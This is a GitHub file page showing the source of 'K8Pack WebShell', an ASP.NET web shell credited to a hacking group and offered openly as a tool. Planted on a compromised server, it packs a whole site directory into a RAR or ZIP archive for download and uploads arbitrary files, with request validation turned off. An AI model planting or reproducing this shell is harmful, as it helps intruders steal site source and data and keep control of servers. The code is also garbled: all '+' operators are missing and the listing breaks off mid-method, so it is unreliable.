-
-
Notifications
You must be signed in to change notification settings - Fork 2.1k
/
K8Packwebshell.aspx
1545 lines (1284 loc) · 54.5 KB
/
K8Packwebshell.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
863
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ Import Namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>K8 ASPX整站打包Shell V1.0</title>
<style type="text/css">
.K8_Text_Style{font-size: 13px;margin:0px 0px 0px 0px;font-family:Tahoma;color:lime; background-color:#003300;border:1px solid lime;}
.K8_Button_Style{font-size: 13px; margin:0px 0px 0px 0px; font-family:Tahoma;background-color:#1E4C25;color:lime;border:1px solid lime;}
body,td{line-height: 16px; background-color:#003300; color:lime;}
.style2
{
}
.style3
{
}
.style6
{
}
.style7
{
width: 119px;
height: 26px;
}
.style8
{
height: 26px;
}
a {color:lime;text-decoration: none;}
.style9
{
width: 415px;
}
.style10
{
}
.style11
{
width: 392px;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<table align="center" style="width: 589px">
<tr>
<td class="style2" colspan="4"
style="text-align: center;line-height: 50px; font-family: 华文彩云; font-size: 40px;">
K8Pack WebShell V1.0</td>
</tr>
<tr>
<td class="style2" colspan="4" align="center" height="25">
</td>
</tr>
<tr align="center">
<td class="style6">
<span id="Label1">K8ShellPath:</span>
</td>
<td class="style3" colspan="3">
<input name="txtshellpath" readonly= "readonly" runat="server" type="text" value="" id="txtshellpath" class="K8_Text_Style" style="width:500px;" />
</td>
</tr>
<tr>
<td class="style7">
<span id="Label2">WinRarPath:</span>
</td>
<td class="style8" colspan="3">
<input name="txtRarPath" id="txtRarPath" type="text" runat="server"
value="C:\Program Files\WinRAR\Rar.exe" class="K8_Text_Style"
style="width:500px;" />
</td>
</tr>
<tr>
<td class="style6">
<span id="Label3" runat="server">K8PackPath:</span>
</td>
<td class="style3" colspan="3">
<input name="txtPackPath" runat="server" type="text" value="" id="txtPackPath" class="K8_Text_Style" style="width:500px;" />
</td>
</tr>
<tr>
<td class="style6">
<span id="Label4">OutRarPath:</span>
</td>
<td class="style11">
<input name="txtOutPath" readonly="readonly " runat="server" type="text"
value="" id="txtOutPath" class="K8_Text_Style" style="width:380px;" />
</td>
<td class="style9">
<asp:Button ID="btnK8PackRar" runat="server" Text="RarPack"
CssClass="K8_Button_Style" Width="55px" BorderColor="Lime" Height="20px"
onclick="btnK8PackRar_Click" EnableViewState="False"/>
</td>
<td class="style3">
<asp:Button ID="btn_k8zippack" runat="server" Text="zipPack"
CssClass="K8_Button_Style" Width="55px" BorderColor="Lime" Height="20px"
onclick="btn_k8zippack_Click" EnableViewState="False"/>
</td>
</tr>
<tr>
<td class="style6">
<span id="Span1">UpFilePath:</span>
</td>
<td class="style10" colspan="3">
<asp:FileUpload ID="k8upload" runat="server" ToolTip="K8文件上传" Width="212px"
CssClass="K8_Button_Style" ondatabinding="btnk8upload_Click"
BorderStyle="Solid" />
<asp:Button ID="btnk8upload" runat="server" Text="Upload"
CssClass="K8_Button_Style" Width="55px" BorderColor="Lime" Height="20px"
onclick="btnk8upload_Click" EnableViewState="False"/>
<asp:Label ID="lbStaus" runat="server">可选用自带ZIP类或调用WinRar</asp:Label>
</td>
</tr>
<tr>
<td class="style6" colspan="4">
</td>
</tr>
<tr>
<td class="style6" colspan="4" height="30"
style="width: 588px; height: 16px; background-color: #1E4C21;"
align="center">
<a href="http://qqhack8.blog.163.com" target="_blank">Copyright © 2011-06-10 CracK8编程小组[K.8] QQ吻 All Rights Reserved</a></td>
</tr>
</table>
</form>
</body>
</html>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
DateTime k8currentime = new DateTime();
k8currentime = DateTime.Now;
String k8time = k8currentime.Date.ToShortDateString() "_" k8currentime.Hour.ToString() "_" k8currentime.Minute.ToString() "_" k8currentime.Second.ToString();
txtshellpath.Value = Server.MapPath(".");
txtOutPath.Value = Server.MapPath(".") "\\K8webPack_" k8time;
}
protected void btnK8PackRar_Click(object sender, EventArgs e)
{
try
{
if (File.Exists(txtRarPath.Value))
{
if (txtPackPath.Value == "")
{
txtPackPath.Value = Server.MapPath(".");
lbStaus.Text = "即将用Rar打包Shell目录!";
}
else if (Directory.Exists(txtPackPath.Value))
{
Process p1 = Process.Start("\"" txtRarPath.Value "\"", " a -y -k -m5 -ep1 -o -s \"" txtOutPath.Value ".Rar\" \"" txtPackPath.Value "\"");
p1.WaitForExit();
if (p1.ExitCode==0)
lbStaus.Text = "调用WinRar打包整站完毕!";
}
else
{
lbStaus.Text = "打包目录错误或没执行权限!";
}
}
else
{
lbStaus.Text = "Rar.exe 路径错误或没权限!";
}
}
catch (Exception k81)
{
lbStaus.Text = k81.Message;
}
}
protected void btnk8upload_Click(object sender, EventArgs e)
{
try
{
if (k8upload.HasFile)
{
k8upload.SaveAs(txtshellpath.Value "\\" k8upload.FileName);
lbStaus.Text = k8upload.FileName " 上传成功!";
}
else
lbStaus.Text = " 请选择要上传的文件!";
}
catch (Exception k82)
{
lbStaus.Text = k82.Message;
}
}
protected void btn_k8zippack_Click(object sender, EventArgs e)
{
try
{
if (txtPackPath.Value == "")
{
txtPackPath.Value = Server.MapPath(".");
lbStaus.Text = "即将用ZIP类打包Shell目录!";
}
else if (Directory.Exists(txtPackPath.Value))
{
ZipFile zip = new ZipFile(this.txtOutPath.Value ".zip");
zip.AddDirectory(txtPackPath.Value);
zip.Save();
lbStaus.Text = "用自带Zip类打包整站完毕!";
}
}
catch (Exception k83)
{
lbStaus.Text = k83.Message;
}
}
class Shared
{
protected internal static string StringFromBuffer(byte[] buf, int start, int maxlength)
{
int i;
char[] c = new char[maxlength];
for (i = 0; (i < maxlength) && (i < buf.Length) && (buf[i] != 0); i )
{
c[i] = (char)buf[i]; // System.BitConverter.ToChar(buf, start i*2);
}
string s = new System.String(c, 0, i);
return s;
}
protected internal static int ReadSignature(System.IO.Stream s)
{
int n = 0;
byte[] sig = new byte[4];
n = s.Read(sig, 0, sig.Length);
if (n != sig.Length) throw new Exception("Could not read signature - no data!");
int signature = (((sig[3] * 256 sig[2]) * 256) sig[1]) * 256 sig[0];
return signature;
}
protected internal static long FindSignature(System.IO.Stream s, int SignatureToFind)
{
long startingPosition = s.Position;
int BATCH_SIZE = 1024;
byte[] targetBytes = new byte[4];
targetBytes[0] = (byte)(SignatureToFind >> 24);
targetBytes[1] = (byte)((SignatureToFind & 0x00FF0000) >> 16);
targetBytes[2] = (byte)((SignatureToFind & 0x0000FF00) >> 8);
targetBytes[3] = (byte)(SignatureToFind & 0x000000FF);
byte[] batch = new byte[BATCH_SIZE];
int n = 0;
bool success = false;
do
{
n = s.Read(batch, 0, batch.Length);
if (n != 0)
{
for (int i = 0; i < n; i )
{
if (batch[i] == targetBytes[3])
{
s.Seek(i - n, System.IO.SeekOrigin.Current);
int sig = ReadSignature(s);
success = (sig == SignatureToFind);
if (!success) s.Seek(-3, System.IO.SeekOrigin.Current);
break; // out of for loop
}
}
}
else break;
if (success) break;
} while (true);
if (!success)
{
s.Seek(startingPosition, System.IO.SeekOrigin.Begin);
return -1; // or throw?
}
// subtract 4 for the signature.
long bytesRead = (s.Position - startingPosition) - 4;
// number of bytes read, should be the same as compressed size of file
return bytesRead;
}
protected internal static DateTime PackedToDateTime(Int32 packedDateTime)
{
Int16 packedTime = (Int16)(packedDateTime & 0x0000ffff);
Int16 packedDate = (Int16)((packedDateTime & 0xffff0000) >> 16);
int year = 1980 ((packedDate & 0xFE00) >> 9);
int month = (packedDate & 0x01E0) >> 5;
int day = packedDate & 0x001F;
int hour = (packedTime & 0xF800) >> 11;
int minute = (packedTime & 0x07E0) >> 5;
int second = packedTime & 0x001F;
DateTime d = System.DateTime.Now;
try { d = new System.DateTime(year, month, day, hour, minute, second, 0); }
catch
{
Console.Write("\nInvalid date/time?:\nyear: {0} ", year);
Console.Write("month: {0} ", month);
Console.WriteLine("day: {0} ", day);
Console.WriteLine("HH:MM:SS= {0}:{1}:{2}", hour, minute, second);
}
return d;
}
protected internal static Int32 DateTimeToPacked(DateTime time)
{
UInt16 packedDate = (UInt16)((time.Day & 0x0000001F) | ((time.Month << 5) & 0x000001E0) | (((time.Year - 1980) << 9) & 0x0000FE00));
UInt16 packedTime = (UInt16)((time.Second & 0x0000001F) | ((time.Minute << 5) & 0x000007E0) | ((time.Hour << 11) & 0x0000F800));
return (Int32)(((UInt32)(packedDate << 16)) | packedTime);
}
}
public class ZipDirEntry
{
internal const int ZipDirEntrySignature = 0x02014b50;
private bool _Debug = false;
private ZipDirEntry() { }
private DateTime _LastModified;
public DateTime LastModified
{
get { return _LastModified; }
}
private string _FileName;
public string FileName
{
get { return _FileName; }
}
private string _Comment;
public string Comment
{
get { return _Comment; }
}
private Int16 _VersionMadeBy;
public Int16 VersionMadeBy
{
get { return _VersionMadeBy; }
}
private Int16 _VersionNeeded;
public Int16 VersionNeeded
{
get { return _VersionNeeded; }
}
private Int16 _CompressionMethod;
public Int16 CompressionMethod
{
get { return _CompressionMethod; }
}
private Int32 _CompressedSize;
public Int32 CompressedSize
{
get { return _CompressedSize; }
}
private Int32 _UncompressedSize;
public Int32 UncompressedSize
{
get { return _UncompressedSize; }
}
public Double CompressionRatio
{
get
{
return 100 * (1.0 - (1.0 * CompressedSize) / (1.0 * UncompressedSize));
}
}
private Int16 _BitField;
private Int32 _LastModDateTime;
private Int32 _Crc32;
private byte[] _Extra;
internal ZipDirEntry(ZipEntry ze) { }
public static ZipDirEntry Read(System.IO.Stream s)
{
return Read(s, false);
}
public static ZipDirEntry Read(System.IO.Stream s, bool TurnOnDebug)
{
int signature = Shared.ReadSignature(s);
// return null if this is not a local file header signature
if (SignatureIsNotValid(signature))
{
s.Seek(-4, System.IO.SeekOrigin.Current);
if (TurnOnDebug) System.Console.WriteLine(" ZipDirEntry::Read(): Bad signature ({0:X8}) at position {1}", signature, s.Position);
return null;
}
byte[] block = new byte[42];
int n = s.Read(block, 0, block.Length);
if (n != block.Length) return null;
int i = 0;
ZipDirEntry zde = new ZipDirEntry();
zde._Debug = TurnOnDebug;
zde._VersionMadeBy = (short)(block[i ] block[i ] * 256);
zde._VersionNeeded = (short)(block[i ] block[i ] * 256);
zde._BitField = (short)(block[i ] block[i ] * 256);
zde._CompressionMethod = (short)(block[i ] block[i ] * 256);
zde._LastModDateTime = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
zde._Crc32 = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
zde._CompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
zde._UncompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
zde._LastModified = Shared.PackedToDateTime(zde._LastModDateTime);
Int16 filenameLength = (short)(block[i ] block[i ] * 256);
Int16 extraFieldLength = (short)(block[i ] block[i ] * 256);
Int16 commentLength = (short)(block[i ] block[i ] * 256);
Int16 diskNumber = (short)(block[i ] block[i ] * 256);
Int16 internalFileAttrs = (short)(block[i ] block[i ] * 256);
Int32 externalFileAttrs = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
Int32 Offset = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
block = new byte[filenameLength];
n = s.Read(block, 0, block.Length);
zde._FileName = Shared.StringFromBuffer(block, 0, block.Length);
zde._Extra = new byte[extraFieldLength];
n = s.Read(zde._Extra, 0, zde._Extra.Length);
block = new byte[commentLength];
n = s.Read(block, 0, block.Length);
zde._Comment = Shared.StringFromBuffer(block, 0, block.Length);
return zde;
}
private static bool SignatureIsNotValid(int signature)
{
return (signature != ZipDirEntrySignature);
}
}
public class ZipEntry
{
private const int ZipEntrySignature = 0x04034b50;
private const int ZipEntryDataDescriptorSignature = 0x08074b50;
private bool _Debug = false;
private DateTime _LastModified;
public DateTime LastModified
{
get { return _LastModified; }
}
private string _FileName;
public string FileName
{
get { return _FileName; }
}
private Int16 _VersionNeeded;
public Int16 VersionNeeded
{
get { return _VersionNeeded; }
}
private Int16 _BitField;
public Int16 BitField
{
get { return _BitField; }
}
private Int16 _CompressionMethod;
public Int16 CompressionMethod
{
get { return _CompressionMethod; }
}
private Int32 _CompressedSize;
public Int32 CompressedSize
{
get { return _CompressedSize; }
}
private Int32 _UncompressedSize;
public Int32 UncompressedSize
{
get { return _UncompressedSize; }
}
public Double CompressionRatio
{
get
{
return 100 * (1.0 - (1.0 * CompressedSize) / (1.0 * UncompressedSize));
}
}
private Int32 _LastModDateTime;
private Int32 _Crc32;
private byte[] _Extra;
private byte[] __filedata;
private byte[] _FileData
{
get
{
if (__filedata == null)
{
}
return __filedata;
}
}
private System.IO.MemoryStream _UnderlyingMemoryStream;
private System.IO.Compression.DeflateStream _CompressedStream;
private System.IO.Compression.DeflateStream CompressedStream
{
get
{
if (_CompressedStream == null)
{
_UnderlyingMemoryStream = new System.IO.MemoryStream();
bool LeaveUnderlyingStreamOpen = true;
_CompressedStream = new System.IO.Compression.DeflateStream(_UnderlyingMemoryStream,
System.IO.Compression.CompressionMode.Compress,
LeaveUnderlyingStreamOpen);
}
return _CompressedStream;
}
}
private byte[] _header;
internal byte[] Header
{
get
{
return _header;
}
}
private int _RelativeOffsetOfHeader;
private static bool ReadHeader(System.IO.Stream s, ZipEntry ze)
{
int signature = Shared.ReadSignature(s);
// return null if this is not a local file header signature
if (SignatureIsNotValid(signature))
{
s.Seek(-4, System.IO.SeekOrigin.Current);
if (ze._Debug) System.Console.WriteLine(" ZipEntry::Read(): Bad signature ({0:X8}) at position {1}", signature, s.Position);
return false;
}
byte[] block = new byte[26];
int n = s.Read(block, 0, block.Length);
if (n != block.Length) return false;
int i = 0;
ze._VersionNeeded = (short)(block[i ] block[i ] * 256);
ze._BitField = (short)(block[i ] block[i ] * 256);
ze._CompressionMethod = (short)(block[i ] block[i ] * 256);
ze._LastModDateTime = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
// the PKZIP spec says that if bit 3 is set (0x0008), then the CRC, Compressed size, and uncompressed size
// come directly after the file data. The only way to find it is to scan the zip archive for the signature of
// the Data Descriptor, and presume that that signature does not appear in the (compressed) data of the compressed file.
if ((ze._BitField & 0x0008) != 0x0008)
{
ze._Crc32 = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
ze._CompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
ze._UncompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
}
else
{
// the CRC, compressed size, and uncompressed size are stored later in the stream.
// here, we advance the pointer.
i = 12;
}
Int16 filenameLength = (short)(block[i ] block[i ] * 256);
Int16 extraFieldLength = (short)(block[i ] block[i ] * 256);
block = new byte[filenameLength];
n = s.Read(block, 0, block.Length);
ze._FileName = Shared.StringFromBuffer(block, 0, block.Length);
ze._Extra = new byte[extraFieldLength];
n = s.Read(ze._Extra, 0, ze._Extra.Length);
// transform the time data into something usable
ze._LastModified = Shared.PackedToDateTime(ze._LastModDateTime);
// actually get the compressed size and CRC if necessary
if ((ze._BitField & 0x0008) == 0x0008)
{
long posn = s.Position;
long SizeOfDataRead = Shared.FindSignature(s, ZipEntryDataDescriptorSignature);
if (SizeOfDataRead == -1) return false;
// read 3x 4-byte fields (CRC, Compressed Size, Uncompressed Size)
block = new byte[12];
n = s.Read(block, 0, block.Length);
if (n != 12) return false;
i = 0;
ze._Crc32 = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
ze._CompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
ze._UncompressedSize = block[i ] block[i ] * 256 block[i ] * 256 * 256 block[i ] * 256 * 256 * 256;
if (SizeOfDataRead != ze._CompressedSize)
throw new Exception("Data format error (bit 3 is set)");
// seek back to previous position, to read file data
s.Seek(posn, System.IO.SeekOrigin.Begin);
}
return true;
}
private static bool SignatureIsNotValid(int signature)
{
return (signature != ZipEntrySignature);
}
public static ZipEntry Read(System.IO.Stream s)
{
return Read(s, false);
}
public static ZipEntry Read(System.IO.Stream s, bool TurnOnDebug)
{
ZipEntry entry = new ZipEntry();
entry._Debug = TurnOnDebug;
if (!ReadHeader(s, entry)) return null;
entry.__filedata = new byte[entry.CompressedSize];
int n = s.Read(entry._FileData, 0, entry._FileData.Length);
if (n != entry._FileData.Length)
{
throw new Exception("badly formatted zip file.");
}
// finally, seek past the (already read) Data descriptor if necessary
if ((entry._BitField & 0x0008) == 0x0008)
{
s.Seek(16, System.IO.SeekOrigin.Current);
}
return entry;
}
internal static ZipEntry Create(String filename)
{
ZipEntry entry = new ZipEntry();
entry._FileName = filename;
entry._LastModified = System.IO.File.GetLastWriteTime(filename);
if (entry._LastModified.IsDaylightSavingTime())
{
System.DateTime AdjustedTime = entry._LastModified - new System.TimeSpan(1, 0, 0);
entry._LastModDateTime = Shared.DateTimeToPacked(AdjustedTime);
}
else
entry._LastModDateTime = Shared.DateTimeToPacked(entry._LastModified);
// we don't actually slurp in the file until the caller invokes Write on this entry.
return entry;
}
public void Extract()
{
Extract(".");
}
public void Extract(System.IO.Stream s)
{
Extract(null, s);
}
public void Extract(string basedir)
{
Extract(basedir, null);
}
// pass in either basdir or s, but not both.
private void Extract(string basedir, System.IO.Stream s)
{
string TargetFile = null;
if (basedir != null)
{
TargetFile = System.IO.Path.Combine(basedir, FileName);
// check if a directory
if (FileName.EndsWith("/"))
{
if (!System.IO.Directory.Exists(TargetFile))
System.IO.Directory.CreateDirectory(TargetFile);
return;
}
}
else if (s != null)
{
if (FileName.EndsWith("/"))
// extract a directory to streamwriter? nothing to do!
return;
}
else throw new Exception("Invalid input.");
using (System.IO.MemoryStream memstream = new System.IO.MemoryStream(_FileData))
{
System.IO.Stream input = null;
try
{
if (CompressedSize == UncompressedSize)
{
// the System.IO.Compression.DeflateStream class does not handle uncompressed data.
// so if an entry is not compressed, then we just translate the bytes directly.
input = memstream;
}
else
{
input = new System.IO.Compression.DeflateStream(memstream, System.IO.Compression.CompressionMode.Decompress);
}
if (TargetFile != null)
{
// ensure the target path exists
if (!System.IO.Directory.Exists(System.IO.Path.GetDirectoryName(TargetFile)))
{
System.IO.Directory.CreateDirectory(System.IO.Path.GetDirectoryName(TargetFile));
}
}
System.IO.Stream output = null;
try
{
if (TargetFile != null)
output = new System.IO.FileStream(TargetFile, System.IO.FileMode.CreateNew);
else
output = s;
byte[] bytes = new byte[4096];
int n;
if (_Debug)
{
Console.WriteLine("{0}: _FileData.Length= {1}", TargetFile, _FileData.Length);
Console.WriteLine("{0}: memstream.Position: {1}", TargetFile, memstream.Position);
n = _FileData.Length;
if (n > 1000)
{
n = 500;
Console.WriteLine("{0}: truncating dump from {1} to {2} bytes...", TargetFile, _FileData.Length, n);
}
for (int j = 0; j < n; j = 2)
{
if ((j > 0) && (j % 40 == 0))
System.Console.WriteLine();
System.Console.Write(" {0:X2}", _FileData[j]);
if (j 1 < n)
System.Console.Write("{0:X2}", _FileData[j 1]);
}
System.Console.WriteLine("\n");
}
n = 1; // anything non-zero
while (n != 0)
{
if (_Debug) Console.WriteLine("{0}: about to read...", TargetFile);
n = input.Read(bytes, 0, bytes.Length);
if (_Debug) Console.WriteLine("{0}: got {1} bytes", TargetFile, n);
if (n > 0)
{
if (_Debug) Console.WriteLine("{0}: about to write...", TargetFile);
output.Write(bytes, 0, n);
}
}
}
finally
{
// we only close the output stream if we opened it.
if ((output != null) && (TargetFile != null))
{
output.Close();
output.Dispose();
}
}
if (TargetFile != null)
{
// We may have to adjust the last modified time to compensate
// for differences in how the .NET Base Class Library deals
// with daylight saving time (DST) versus how the Windows
// filesystem deals with daylight saving time.
if (LastModified.IsDaylightSavingTime())
{
DateTime AdjustedLastModified = LastModified new System.TimeSpan(1, 0, 0);
System.IO.File.SetLastWriteTime(TargetFile, AdjustedLastModified);
}
else
System.IO.File.SetLastWriteTime(TargetFile, LastModified);
}
}
finally
{
// we cannot use using() here because in some cases we do not want to Dispose the stream
if ((input != null) && (input != memstream))
{
input.Close();
input.Dispose();
}
}
}
}
internal void WriteCentralDirectoryEntry(System.IO.Stream s)
{
byte[] bytes = new byte[4096];
int i = 0;
// signature
bytes[i ] = (byte)(ZipDirEntry.ZipDirEntrySignature & 0x000000FF);
bytes[i ] = (byte)((ZipDirEntry.ZipDirEntrySignature & 0x0000FF00) >> 8);
bytes[i ] = (byte)((ZipDirEntry.ZipDirEntrySignature & 0x00FF0000) >> 16);
bytes[i ] = (byte)((ZipDirEntry.ZipDirEntrySignature & 0xFF000000) >> 24);
// Version Made By
bytes[i ] = Header[4];
bytes[i ] = Header[5];
// Version Needed, Bitfield, compression method, lastmod,
// crc, sizes, filename length and extra field length -
// are all the same as the local file header. So just copy them
int j = 0;
for (j = 0; j < 26; j )
bytes[i j] = Header[4 j];
i = j; // positioned at next available byte
// File Comment Length
bytes[i ] = 0;
bytes[i ] = 0;
// Disk number start
bytes[i ] = 0;
bytes[i ] = 0;
// internal file attrs
// TODO: figure out what is required here.
bytes[i ] = 1;
bytes[i ] = 0;
// external file attrs
// TODO: figure out what is required here.
bytes[i ] = 0x20;
bytes[i ] = 0;
bytes[i ] = 0xb6;
bytes[i ] = 0x81;
// relative offset of local header (I think this can be zero)
bytes[i ] = (byte)(_RelativeOffsetOfHeader & 0x000000FF);
bytes[i ] = (byte)((_RelativeOffsetOfHeader & 0x0000FF00) >> 8);
bytes[i ] = (byte)((_RelativeOffsetOfHeader & 0x00FF0000) >> 16);
bytes[i ] = (byte)((_RelativeOffsetOfHeader & 0xFF000000) >> 24);
if (_Debug) System.Console.WriteLine("\ninserting filename into CDS: (length= {0})", Header.Length - 30);
// actual filename (starts at offset 34 in header)
for (j = 0; j < Header.Length - 30; j )
{
bytes[i j] = Header[30 j];
if (_Debug) System.Console.Write(" {0:X2}", bytes[i j]);
}
if (_Debug) System.Console.WriteLine();
i = j;
s.Write(bytes, 0, i);
}
private void WriteHeader(System.IO.Stream s, byte[] bytes)
{
// write the header info
int i = 0;
// signature
bytes[i ] = (byte)(ZipEntrySignature & 0x000000FF);
bytes[i ] = (byte)((ZipEntrySignature & 0x0000FF00) >> 8);
bytes[i ] = (byte)((ZipEntrySignature & 0x00FF0000) >> 16);
bytes[i ] = (byte)((ZipEntrySignature & 0xFF000000) >> 24);
// version needed
Int16 FixedVersionNeeded = 0x14; // from examining existing zip files
bytes[i ] = (byte)(FixedVersionNeeded & 0x00FF);
bytes[i ] = (byte)((FixedVersionNeeded & 0xFF00) >> 8);
// bitfield
Int16 BitField = 0x00; // from examining existing zip files
bytes[i ] = (byte)(BitField & 0x00FF);
bytes[i ] = (byte)((BitField & 0xFF00) >> 8);
// compression method
Int16 CompressionMethod = 0x08; // 0x08 = Deflate
bytes[i ] = (byte)(CompressionMethod & 0x00FF);
bytes[i ] = (byte)((CompressionMethod & 0xFF00) >> 8);
// LastMod
bytes[i ] = (byte)(_LastModDateTime & 0x000000FF);
bytes[i ] = (byte)((_LastModDateTime & 0x0000FF00) >> 8);
bytes[i ] = (byte)((_LastModDateTime & 0x00FF0000) >> 16);
bytes[i ] = (byte)((_LastModDateTime & 0xFF000000) >> 24);
// CRC32 (Int32)
CRC32 crc32 = new CRC32();
UInt32 crc = 0;
using (System.IO.Stream input = System.IO.File.OpenRead(FileName))
{
crc = crc32.GetCrc32AndCopy(input, CompressedStream);
}
CompressedStream.Close(); // to get the footer bytes written to the underlying stream
bytes[i ] = (byte)(crc & 0x000000FF);
bytes[i ] = (byte)((crc & 0x0000FF00) >> 8);
bytes[i ] = (byte)((crc & 0x00FF0000) >> 16);
bytes[i ] = (byte)((crc & 0xFF000000) >> 24);
// CompressedSize (Int32)
Int32 isz = (Int32)_UnderlyingMemoryStream.Length;
UInt32 sz = (UInt32)isz;
bytes[i ] = (byte)(sz & 0x000000FF);
bytes[i ] = (byte)((sz & 0x0000FF00) >> 8);
bytes[i ] = (byte)((sz & 0x00FF0000) >> 16);
bytes[i ] = (byte)((sz & 0xFF000000) >> 24);
// UncompressedSize (Int32)
if (_Debug) System.Console.WriteLine("Uncompressed Size: {0}", crc32.TotalBytesRead);
bytes[i ] = (byte)(crc32.TotalBytesRead & 0x000000FF);
bytes[i ] = (byte)((crc32.TotalBytesRead & 0x0000FF00) >> 8);
bytes[i ] = (byte)((crc32.TotalBytesRead & 0x00FF0000) >> 16);
bytes[i ] = (byte)((crc32.TotalBytesRead & 0xFF000000) >> 24);
// filename length (Int16)
Int16 length = (Int16)FileName.Length;
bytes[i ] = (byte)(length & 0x00FF);
bytes[i ] = (byte)((length & 0xFF00) >> 8);
// extra field length (short)